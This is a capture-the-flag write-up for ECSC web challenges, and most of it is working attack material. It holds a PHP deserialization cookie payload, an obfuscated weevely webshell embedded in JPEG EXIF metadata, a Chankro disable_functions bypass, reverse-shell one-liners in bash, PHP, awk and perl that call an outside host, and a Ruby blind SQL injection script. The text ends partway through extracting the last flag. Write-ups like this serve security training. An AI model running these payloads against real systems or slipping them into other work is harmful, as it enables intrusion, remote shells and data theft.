POST / HTTP/1.1
Host: challenges.ecsc-teamfrance.fr:8002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://challenges.ecsc-teamfrance.fr:8002/
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: user=O%3a4%3a"User"%3a2%3a{s%3a4%3a"core"%3bO%3a4%3a"Core"%3a2%3a{s%3a5%3a"debug"%3bb%3a1%3bs%3a3%3a"con"%3bO%3a7%3a"SQLite3"%3a0%3a{}}s%3a8%3a"username"%3bs%3a5%3a"admin"%3b}
Connection: close
Upgrade-Insecure-Requests: 1
login=admin&password=pass
```
We obtain the debug data with the user's password hash:
```
...
Found user record:array(6) {
[0]=>
int(1)
["id"]=>
int(1)
[1]=>
string(5) "admin"
["login"]=>
string(5) "admin"
[2]=>
string(32) "34819d7beeabb9260a5c854bc85b3e44"
["password"]=>
string(32) "34819d7beeabb9260a5c854bc85b3e44"
}
...
```
Let's crack this md5 (32 char length so mostly it) hash on https://hashkiller.co.uk/Cracker/MD5
Result: `34819d7beeabb9260a5c854bc85b3e44 MD5 mypassword`
Let's authenticate to get the flag:
```
$ curl -X POST challenges.ecsc-teamfrance.fr:8002 --data 'login=admin&password=mypassword' -s | grep ECSC
<div class="result">Hello admin, here is your flag: ECSC{3ab6be9c0d274e7eeac6f20f4bee7d8b26303e44}
```
## 302 - Ceci n'est pas une pipe - Web
> Ça se passe par ici : http://challenges.ecsc-teamfrance.fr:8001
This is about unsecure file upload.
We can use whatever we want as extension or MIME type but there is a server side check on the file type so we need to send an image.
If we concatenate a PHP web shell to an image and upload it, we can see the stored image was modified and the webshell removed.
So either it was converted with a library like ImageMagick or trailing data was removed by another means.
But sending a minimal JPEG header (`ff d8 ff e0 0a`) + HTML content + PHP content, only the PHP content is removed so it may be a filtering regex with `<?php`, but `<?=` is removed too.
`<script language="php">` is not removed but didn't work (it was removed in PHP 7.0.0).
But if PHP code is embedded inside a valid EXIF property, it seems kept.
Let's craft a PHP wbeshell:
```
$ weevely generate norajpass agent.php
```
So we get a weevely agent like that:
```php
<?php
$Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma';
$o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}';
$n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts';
$b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b';
$v=str_replace('el','','creleaelelte_felunceltielon');
$e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev';
$A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor(';
$D=str_replace('^b','',$b.$A.$Y.$e.$n.$o);
$K=$v('',$D);$K();
?>
```
Let's one-line it:
```
$ cat agent.php| tr '\n' ' '
<?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?>
```
Let's add the agent in an EXIF property of the image:
```
$ exiftool -documentname="$(cat agent.php| tr '\n' ' ')" exploit.jpg
1 image files updated
$ exiftool exploit.jpg
ExifTool Version Number : 11.30
File Name : exploit.jpg
Directory : .
File Size : 5.4 kB
File Modification Date/Time : 2019:05:19 00:28:52+02:00
File Access Date/Time : 2019:05:19 00:28:52+02:00
File Inode Change Date/Time : 2019:05:19 00:28:52+02:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Exif Byte Order : Big-endian (Motorola, MM)
Document Name : <?php $Y='$j=0;($^bj<$c&&$^bi<$l);$j^b++,$^bi++){$o.^b=$t{$^bi}^$k^b{$j^b^b};}}ret^burn $o;}i^bf(@preg_ma'; $o='();@ob_end_clean();$r^b=@b^ba^bse64_en^bcode(^b@x(@gz^b^bcompress($o),$k));pr^bint("^b$p$k^bh$r$kf");}'; $n='^bal^b(@gzu^bncom^bpress(@x^b(@base^b64_decode($m[1^b^b])^b,$k)));$o=@ob_g^be^bt_co^bnte^bn^bts'; $b='$k="3^bc^bb18efc"^b;^b$kh="0f497c8^b3fd^b1b";$kf="3c^b^b7^b05cbbe88e";$^bp="Sxe^bRUDxbc^bxU7LASJ";^b'; $v=str_replace('el','','creleaelelte_felunceltielon'); $e='tc^bh("/$k^b^bh^b(.+)^b$kf/",@file^b^b_get_contents("php:^b//inp^but"),$m)=^b=1){@^b^bob_sta^brt();@ev'; $A='function^b x($t,$^bk){$c=s^btrlen^b^b($k)^b;$l=strlen($t)^b;$^bo="";fo^br($i=^b0;$i<$l;)^b{f^bor('; $D=str_replace('^b','',$b.$A.$Y.$e.$n.$o); $K=$v('',$D);$K(); ?>
X Resolution : 38
Y Resolution : 38
Resolution Unit : cm
Y Cb Cr Positioning : Centered
Image Width : 256
Image Height : 256
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 256x256
Megapixels : 0.066
```
So we can upload the webshell with a `.php` extension and `application/x-php` as MIME type.
But it fails, maybe the webshell is too exotic.
Let's try something simpler just for confirmation:
```
$ exiftool -documentname='<?php echo str_repeat("-=", 10); ?>' exploit.jp
1 image files updated
```
I can see the code executed:
![](https://i.imgur.com/nwu8ru5.png)
But when using `shell_exec` or `system` I get nothing, they must be filtered (so it was not `<?php` that was).
`exiftool -documentname='<?php print_r(scandir(".")); ?>' exploit.jpg` works but nothing interesting in the current directory.
But `print_r(scandir("."));` is blocked (may be by a restrictive `open_basedir`).
Anyway I should have tried it first: `phpinfo();`
Disabled functions are:
```
create_function
curl_exec
curl_multi_exec
exec
imap_open
parse_ini_file
passthru
pcntl_alarm
pcntl_exec
pcntl_fork
pcntl_get_last_error
pcntl_getpriority
pcntl_setpriority
pcntl_signal
pcntl_signal_dispatch
pcntl_sigprocmask
pcntl_sigtimedwait
pcntl_sigwaitinfo
pcntl_strerror
pcntl_wait
pcntl_waitpid
pcntl_wexitstatus
pcntl_wifexited
pcntl_wifsignaled
pcntl_wifstopped
pcntl_wstopsig
pcntl_wtermsig
popen
preg_replace
preg_replace_callback
proc_open
shell_exec
show_source
system
```
And `open_basedir` is `/var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e:/usr/share/php/chall:/tmp`.
Let's try to use backticks:
```
$ exiftool -documentname='<?php $a=$_GET["cmd"];echo `$a`; ?>' exploit.jpg
1 image files updated
```
Doesn't work either.
[get_defined_functions](https://www.php.net/manual/en/function.get-defined-functions.php) list all internal and user defined functions available.
So I tried with [Chankro](https://github.com/TarlogicSecurity/Chankro) that use `LD_PRELOAD` to bypass `disable_functions` and `open_basedir`.
Seems 100% the right way in this case.
```
$ chankro --arch 64 --input /tmp/script.sh --output chankro.php --path /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e
-=[ Chankro ]=-
-={ @TheXC3LL }=-
[+] Binary file: /tmp/script.sh
[+] Architecture: x64
[+] Final PHP: chank.php
[+] File created!
```
Let's read some files:
- `/usr/share/php/chall/prepend.php`: `<?php ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/usr/share/php/chall:/tmp');`
- `/tmp/myprepend.php`: `<?php echo "ok"; ini_set("open_basedir","/var/www"); ?>`
Let's try some stuff (and fail):
```php
<?php echo "start"; ini_set("open_basedir",dirname($_SERVER["SCRIPT_FILENAME"]) . "/var/www"); print_r(scandir("/var/www")); print_r(scandir("/var/www/html")); echo "end"; ?>
<?php echo "start"; ini_set("display_errors", "1"); ini_set("disable_functions",""); ini_set("open_basedir", NULL); echo shell_exec("id"); echo "end"; ?>
<?php echo "start"; ini_set("display_errors", "1"); ini_set("open_basedir", NULL); print_r(scandir("/var/www/html")); echo "end"; ?>
```
Let's get back to Chankro and embedded the payload in EXIF metadata:
```
exiftool -documentname="$(cat chankro.php| tr '\n' ' ')" exploit.jpg
```
=> Chankro => manual edit to add `ini_set("display_errors", "1");` => Upload => Exec => no error display, so it is actually executed but we don't have the output, so let's copy files in the upload folder instead.
The script paylaod for Chankro:
```
#!/bin/sh
cp /etc/passwd /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
ls -lhAR /var/www > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listdir.txt
```
=> Chankro => Exiftool => Upload => Exec => listing the upload folder (with a previous scandir payload) and `listdir.txt` and `passwd` are here.
Let's see the files:
```
/var/www:
total 8.0K
drwxr-xr-x 1 root root 4.0K May 18 09:39 html
/var/www/html:
total 56K
-r--r--r-- 1 root root 0 May 18 09:39 .htaccess
-rwxr-xr-x 1 root root 268 May 18 09:39 config.php
-rwxr-xr-x 1 root root 9.0K May 18 09:39 index.php
-rwxr-xr-x 1 root root 4.9K May 18 09:39 login.php
-rwxr-xr-x 1 root root 5.7K May 18 09:39 register.php
-rwxr-xr-x 1 root root 26 May 18 09:39 robots.txt
drwxr-xr-x 1 root root 4.0K May 18 09:39 static
-rwxr-xr-x 1 root root 97 May 18 09:39 todo.php
drwx-wx-wx 1 root root 12K May 19 19:57 upload
/var/www/html/static:
total 8.0K
drwxr-xr-x 1 root root 4.0K May 18 09:39 css
drwxr-xr-x 1 root root 4.0K May 18 09:39 js
/var/www/html/static/css:
total 120K
-rwxr-xr-x 1 root root 119K May 18 09:39 bootstrap.min.css
/var/www/html/static/js:
total 128K
-rwxr-xr-x 1 root root 37K May 18 09:39 bootstrap.min.js
-rwxr-xr-x 1 root root 85K May 18 09:39 jquery.min.js
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
```
Let's copy more files!
```
#!/bin/sh
cp /var/www/html/.htaccess /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
cp /var/www/html/config.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
cp /var/www/html/todo.php /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
```
Still the same method:
=> Chankro => Exiftool => Upload => Exec => `highlight_file` on the copied files:
```
exiftool -documentname='<?php highlight_file(".htaccess"); highlight_file("config.php"); highlight_file("todo.php"); ?>' exploit.jpg
```
`config.php` and `todo.php`
```php
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'mariadb');
define('DB_USERNAME', 'notes');
define('DB_PASSWORD', 'N9mpnvEyTtaGxfsznEBh');
define('DB_NAME', 'notes');
?># ls -l /usr/sbin/sendmail<br>
-rwxr-xr-x 1 root root 16464 janv. 13 2018 /usr/sbin/sendmail
```
(`sendmail` for Chankro with mail())
Let's try to localize the flag:
```
#!/bin/sh
grep -ri ecsc /var/www/ > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/flag.txt
```
=> Chankro => Exiftool => Upload => Exec => `highlight_file`
=> nothing :(
Grrr, try to get the whole web server repository:
```
#!/bin/sh
tar cf /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar /var/www/html/
cp -r /var/www/html /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/
```
http://challenges.ecsc-teamfrance.fr:8001//upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/html.tar
Stop fooling me around!!!!! Time to reverse shell! (or try to)
Basic bash reverse shell: `bash -i >& /dev/tcp/x.x.x.x/9999 0>&1`
```
#!/bin/sh
bash -i >& /dev/tcp/x.x.x.x/9999 0>&1
```
Obviously blocked !
Try to localize the flag again:
```
#!/bin/sh
ls -lhRA /home > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt
```
http://challenges.ecsc-teamfrance.fr:8001/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/listing2.txt
```
/home:
total 12K
--wx--x--x 1 root root 8.2K May 18 09:39 flag
```
Nahhhhhhhhhh ! No way!!!! It's not the end, it's an executable we can't read it.
(From that point I could have executed the binary and redirect the output in a file but I really wanted a reverse shell).
More reverse shell tries:
```
#!/bin/sh
php -r '$sock=fsockopen("x.x.x.x",53333);exec("/bin/sh -i <&3 >&3 2>&3");'
```
I was stupid because the script was containing `exec` but `fsockopen` worked and I received the conection:
```
$ nc -vnlp 53333
Connection from 51.91.7.35:55744
```
Let's look at https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
```
#!/bin/sh
0<&196;exec 196<>/dev/tcp/x.x.x.x/53333; sh <&196 >&196 2>&196
```
Whyyyyyyyyy now I'm not getting a shell? It works if I try it from my machine.
Let's try another!
```
#!/bin/sh
exec /bin/sh 0</dev/tcp/x.x.x.x/53333 1>&0 2>&0
```
(Probably because on Debian 9 sh is a symbolic link to dash)
```
#!/usr/bin/awk -f
BEGIN {
s = "/inet/tcp/0/x.x.x.x/53333"
while(42) {
do{
printf "shell>" |& s
s |& getline c
if(c){
while ((c |& getline) > 0)
print $0 |& s
close(c)
}
} while(c != "exit")
close(s)
}
}
```
Still nop!
```sh
#!/bin/sh
ls -lh /bin > /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txt
ls -lh /usr/bin >> /var/www/html/upload/b4c853cc8c189d8c029df0577935cd1b2969577b3adc3bc367e557af9ee35d4e/bin.txt
```
That way I saw perl is here! So let's use a /bin/sh-independant version of a perl reverse shell with fork ([source](https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/)):
```
#!/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:53333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
Yes!!!!!!!!!!!!!!! I got a reverse shell! Even if not required for this challenge!!!
Now let's find our way `/home`! (I kinda like this joke)
Using `ps` I see I'm the only one having a reverse shell! (or I think so)
```
$ ls -l /home
total 12
--wx--x--x 1 root root 8296 May 18 09:39 flag
$ /home/flag
ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31}
$ file /home/flag
/home/flag: executable, regular file, no read permission
```
What a story! It wasn't realistic to put the flag in `/home` since you can see in `/etc/passwd` there is no users... anyway that's CTF.
## 150 - Scully (1) - Web
> Notre développeur web n'est pas très doué en matière de sécurité... saurez-vous afficher le flag afin que nous puissions lui montrer qu'il faut faire des efforts ?
>
> Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8003
>
> Aucun bruteforce n'est nécessaire
There is a script: http://challenges.ecsc-teamfrance.fr:8003/static/script.js
```javascript
//Using our API
function login(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
var dat = {'username':username, 'password':password};
$.ajax('/api/v1/login/',{
method: 'POST',
data: JSON.stringify(dat),
dataType: "json",
contentType: "application/json",
}).done(function(res){
if (res['status'] == 'success'){
$("#stat").html('<b>Successful Login. Here is your flag: ');
$("#stat").append(res['flag']);
$("#stat").append('</b>');
}
else{
$("#stat").html('<b>Login Failed</b>');
}
}).fail(function(err){
$("#stat").html(err);
});
}
$(document).ready(function(){
$("#navbar ul li a").on('click', function(event){
event.preventDefault();
var page = $(this).attr("href");
$("#main").load(page);
});
});
```
The JSON auth let me think about NoSQLi: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
So let's try to send `{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}` but I get an error:
![](https://i.imgur.com/hxYZlUm.png)
Same with `{"username": "admin", "password": {"$ne": "bar"}}`.
```
'dict' object has no attribute 'encode'
```
Let's see if it is the password of the account with a blind NoSQL injection.
But no way, you always have this message even with invalid credentials, injection of nested JSON structure just made the JSON parser on the server crash so let's try the basic SQLi:
`{"username": "admin' OR 1=1-- -", "password": "pass"}` => `{"flag":["ECSC{889b71de2017ca8074f49d3f853950e147591b38}"],"status":"success"}`
Too EZ, I should have tried it first.
## 355 - Scully (2) - Web
> Notre developpeur web a fait quelques efforts sur la partie authentification et les informations de la base ne sont plus exposées directement sur la page d'accueil ! Cependant il > semblerait que cela ne soit pas suffisant... saurez-vous retrouver le flag ?
>
> Le challenge est disponible à l'adresse http://challenges.ecsc-teamfrance.fr:8004
>
> Toutes les connexions sont journalisées et l'utilisation d'un outil tel que sqlmap, générant un très grand nombre de connexions, pourrait être considéré comme un abus et faire l'objet de sanctions.
Same as before but without direct output, so let's go with [Inferential SQLi also known as Blind SQLi](https://blog.raw.pm/en/types-of-sql-injection/#inferential-sqli).
We can do a simple [Boolean-based Blind SQLi](https://blog.raw.pm/en/types-of-sql-injection/#boolean-based-blind-sqli):
- `{"username":"admin' and 1=1-- -","password":"noraj"}` => `{"status":"success"}`
- `{"username":"admin' and 1=7-- -","password":"noraj"}` => `{"status":"fail"}`
```
curl -X $'POST' -H 'Content-Type: application/json' --data $'{\"username\":\"admin\' and 1=7-- -\",\"password\":\"noraj\"}' 'http://challenges.ecsc-teamfrance.fr:8004/api/v1/login/'
```
I already did Boolean-based Blind SQL injection in the past with [ruby + curb](https://blog.raw.pm/en/ECW-2016-authentification/) or [ruby without external dependencies](https://blog.raw.pm/en/FIT-HACK-2017-write-ups/#150-let-s-login-web). As I'm lazy I use SQLmap when I can but here it is forbidden.
`{"username":"admin' UNION SELECT 1,1,name FROM sqlite_master WHERE type='table'-- -","password":"noraj"}` this payload works so we have an SQLite DB.
I should also have take a look at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification) for DBMS Identification.
More about SQLite injection https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md
The table name is nor `user` nor `users` so let's use `SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`.
In fact no, let's be lazy and use more guessing `{"username":"admin' UNION SELECT 1,1,flag FROM flag-- -","password":"noraj"}` => success so the table and column are both `flag`.
We can optimize the time to get the password because we know that the flag is ECSC{sha1(string)} and sha1 hashes contains only lower letters and digits (hex charset) that is 40 chars long.
My awesome ruby (everybody prefers jewels than snake) script:
```ruby
require 'net/http'
require 'json'
# uri is already require by net/https
uri = URI('http://challenges.ecsc-teamfrance.fr:8003/api/v1/login/')
req = Net::HTTP::Post.new(uri.path, initheader = {'Content-Type' =>'application/json'})
http = Net::HTTP.new(uri.host, uri.port)
<<-DOC
Check is the payload expression is true or false.
DOC
def check_expression(uri, http, req, payload)
req.body = {'username' => payload, 'password' => 'noraj'}.to_json
res = http.request(req)
return /success/.match?(res.body)
end
<<-DOC
Get the length of the string.
There is two level of increment: 10 by 10 (to be faster) and then 1 by 1 (to get the exact size).
DOC
def get_length(uri, http, req, payload)
i = 10
while true
if check_expression(uri, http, req, payload % i)
(i-10..i).each do |j|
if check_expression(uri, http, req, payload % j)
#puts "Found length = #{j}"
return j-1
end
end
end
i += 10
end
end
<<-DOC
DOC
def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = ["a", "b", "c", "d", "e", "f", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "E", "C", "S", "{", "}"]
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "' or substr((SELECT #{wanted} FROM flag LIMIT 1), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end
# Get flag length
payload = "admin' and length((SELECT flag FROM flag LIMIT 1)) < %i-- -"
flag_length = get_length(uri, http, req, payload)
puts "flag length: #{flag_length}"
# length: 46
name = read_string(uri, http, req, flag_length, 'flag')
puts 'Flag: '.concat(name)
```
Exec time:
```
$ ruby tmp/blind.rb
flag length: 46
Beginning to retrive content
E
EC
ECS
ECSC
ECSC{
ECSC{8
ECSC{88
ECSC{889
ECSC{889b
ECSC{889b7
ECSC{889b71
ECSC{889b71d
ECSC{889b71de
ECSC{889b71de2
ECSC{889b71de20
ECSC{889b71de201
ECSC{889b71de2017
ECSC{889b71de2017c
ECSC{889b71de2017ca
ECSC{889b71de2017ca8
ECSC{889b71de2017ca80
ECSC{889b71de2017ca807
ECSC{889b71de2017ca8074
ECSC{889b71de2017ca8074f
ECSC{889b71de2017ca8074f4
ECSC{889b71de2017ca8074f49
ECSC{889b71de2017ca8074f49d
ECSC{889b71de2017ca8074f49d3
ECSC{889b71de2017ca8074f49d3f
ECSC{889b71de2017ca8074f49d3f8
ECSC{889b71de2017ca8074f49d3f85
ECSC{889b71de2017ca8074f49d3f853
ECSC{889b71de2017ca8074f49d3f8539
ECSC{889b71de2017ca8074f49d3f85395
ECSC{889b71de2017ca8074f49d3f853950
ECSC{889b71de2017ca8074f49d3f853950e
ECSC{889b71de2017ca8074f49d3f853950e1
ECSC{889b71de2017ca8074f49d3f853950e14
ECSC{889b71de2017ca8074f49d3f853950e147
ECSC{889b71de2017ca8074f49d3f853950e1475
ECSC{889b71de2017ca8074f49d3f853950e14759
ECSC{889b71de2017ca8074f49d3f853950e147591
ECSC{889b71de2017ca8074f49d3f853950e147591b
ECSC{889b71de2017ca8074f49d3f853950e147591b3
ECSC{889b71de2017ca8074f49d3f853950e147591b38
ECSC{889b71de2017ca8074f49d3f853950e147591b38}
Flag: ECSC{889b71de2017ca8074f49d3f853950e147591b38}
```
(Spoiler: at this point I didn't know I was still targeting port 8003 instead of 8004)
But that's Scully (1) flag, lel.
Instead of `SELECT flag FROM flag LIMIT 1` I tried `SELECT flag FROM flag LIMIT 1 OFFSET 1` and `SELECT flag FROM flag WHERE flag NOT 'ECSC{889b71de2017ca8074f49d3f853950e147591b38}' LIMIT 1` without success.
Let's try to find another column:
```ruby
...
def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = (" ".."~").to_a.push("\n") # (" ".."~") == all printable char == from 0x20 to 0x7e in ASCII Table
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "' or substr((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_\%' AND name ='flag' LIMIT 1 OFFSET 0), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -#{wanted}"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end
# Get column length
payload = "admin' and length((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%%' AND name ='flag' LIMIT 1 OFFSET 0)) < %i-- -"
column_length = get_length(uri, http, req, payload)
puts "flag length: #{column_length}"
# length: 6
column = read_string(uri, http, req, column_length, 'flag')
puts 'Column: '.concat(column)
```
No luck there is no other column in this table.
Let's find another table:
```ruby
...
def read_string(uri, http, req, length, wanted)
content = ""
ecsc_flag_charset = (" ".."~").to_a.push("\n") # (" ".."~") == all printable char == from 0x20 to 0x7e in ASCII Table
puts "Beginning to retrive content"
while content.length < length
ecsc_flag_charset.each do |c|
tmp = content + c
# SQLite tip: 1st position in a string is 1
payload = "admin' and substr((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0), #{tmp.length}, 1) == \"#{tmp[tmp.length-1]}\"-- -#{wanted}"
if check_expression(uri, http, req, payload)
content += c
puts content
break
elsif c == "\n"
content += "*" # "*" if no ecsc_flag_charset found else we could get an infinite loop
end
end
end
return content
end
# Get table length
payload = "admin' and length((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0)) < %i-- -"
table_length = get_length(uri, http, req, payload)
puts "flag length: #{table_length}"
# length: 46
table = read_string(uri, http, req, table_length, 'flag')
puts 'Flag: '.concat(table)
```
Tables:
- flag
- players
WAIIIIIIIIIT!!! I was using port 8003 instead of 8004!
=> Launch back on port 8004.
```
ruby tmp/blind.rb
flag length: 46
Beginning to retrive content
E
EC
ECS
ECSC
ECSC{
ECSC{3
ECSC{3f
ECSC{3f6
ECSC{3f65
ECSC{3f65e
ECSC{3f65e0
ECSC{3f65e0e
ECSC{3f65e0e1
ECSC{3f65e0e1d
ECSC{3f65e0e1d4
ECSC{3f65e0e1d45
ECSC{3f65e0e1d453
ECSC{3f65e0e1d453f
ECSC{3f65e0e1d453f6
ECSC{3f65e0e1d453f6c
ECSC{3f65e0e1d453f6c8
ECSC{3f65e0e1d453f6c8a
ECSC{3f65e0e1d453f6c8a7
ECSC{3f65e0e1d453f6c8a79
ECSC{3f65e0e1d453f6c8a79a
ECSC{3f65e0e1d453f6c8a79a9
ECSC{3f65e0e1d453f6c8a79a90
ECSC{3f65e0e1d453f6c8a79a901
ECSC{3f65e0e1d453f6c8a79a9013
ECSC{3f65e0e1d453f6c8a79a90131
ECSC{3f65e0e1d453f6c8a79a90131a
ECSC{3f65e0e1d453f6c8a79a90131ae
ECSC{3f65e0e1d453f6c8a79a90131aef
ECSC{3f65e0e1d453f6c8a79a90131aef1
ECSC{3f65e0e1d453f6c8a79a90131aef13
ECSC{3f65e0e1d453f6c8a79a90131aef133
ECSC{3f65e0e1d453f6c8a79a90131aef1332
ECSC{3f65e0e1d453f6c8a79a90131aef13326
ECSC{3f65e0e1d453f6c8a79a90131aef13326a
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0b
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0be
ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea
